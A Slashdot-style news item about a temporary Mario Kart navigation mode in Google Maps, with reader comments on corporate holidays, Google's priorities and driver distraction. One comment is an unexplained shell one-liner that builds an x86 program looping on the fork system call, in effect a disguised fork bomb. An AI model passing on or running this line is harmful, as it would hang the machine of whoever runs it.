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Google Maps Apps Add 'Mario Kart' Feature (wlwt.com)
An anonymous reader quotes WLWT News:
Starting Saturday, "Mario Time" will be available on the Google Maps app for iOS and Android, letting you drive around town with Mario as your guide, cruising the app in a go-kart similar to the iconic "Mario Kart" video game. When users launch the latest version of the app, the feature is activated by tapping a "?" beside the start button normally used to start navigation.
It includes sound effects -- "Woo-hoo! Let's-a go!" says Mario -- and will be available for the next week. It's to commemorate "Mario Day" -- Mar.10 -- that magical time of year one Portland newspaper has described as "the most manufactured of corporate holidays," on which Nintendo lowers the price on their Super Mario Run app and offers other discounts.
It includes sound effects -- "Woo-hoo! Let's-a go!" says Mario -- and will be available for the next week. It's to commemorate "Mario Day" -- Mar.10 -- that magical time of year one Portland newspaper has described as "the most manufactured of corporate holidays," on which Nintendo lowers the price on their Super Mario Run app and offers other discounts.
I'm a'gonna ween.
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Uh, okay.
systemd is Roko's Basilisk.
Just waiting for the first accident this causes.
A company noticeably more evil than Apple and Microsoft, and that is saying something.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
what's this about, in non-retard speak?
Seriously, does this look like it is changing the future, or like a bunch of rich kids screwing around?
At this point I have no clue why people invest in google, they are no longer about doing good for humanity or offering us anything of much value. They have products that offer value but they drop like mayflies. One such project was a self powered system of balloons capable of being within 200 meters of target by rising or lowering to steer and provide wifi and cell phone coverage to areas which were otherwise unreachable, a noble and worthy project which we will never see or hear from again.
It would be better for the venture capitalists to go for those companies which are attempting to add value to the world with something tangible, I had read about a gentleman who developed a light for developing countries which worked on a system of weights. There are water filtration efforts, solar, energy storage, wind turbine and water turbine technologies that need to bust out into the lime light. Also things like CRISPR can be utilitzed to create new and exciting futures and possibilities.
So much waste and so little to show for it all, it is humbling not how much we have achieved but how much we could have if we just weren't screwing around so much.
I can't wait for the pod races on the fourth of May.
Can I throw blue shells at other drivers?
Even using navigation displays is borderline dangerous even with a quick glance. Add a reason to become even more distracted... Just what we need.
I may be late to the party, but I've only just recently learned about White Day - a holiday by and for Japanese confectionery companies, which occurs one month after Valentine's Day. Then idea is that girls should give boys chocolate on Valentine's Day, and boys should give girls reciprocal white chocolate (or marshmallows) one month later on White Day.
In other words, it's a cynical manufactured holiday intended to sell candy, built on top of another cynical manufactured holiday intended to sell greeting cards. Apparently it got so popular in Japan that it has now spread to quite a few other Asian countries.
This is my submission for "most manufactured" holiday.
So, Nowhere do I see this mysterious "?" they speak of. I've checked for updates, and didn't find any, and it says it runs for the week, and it's only 2 days later.....
I've tried it both on my iPhone, and my Pixel, so.... what am I missing to do this magical Mario stuff..
Happy April Fools, slashdot peeps!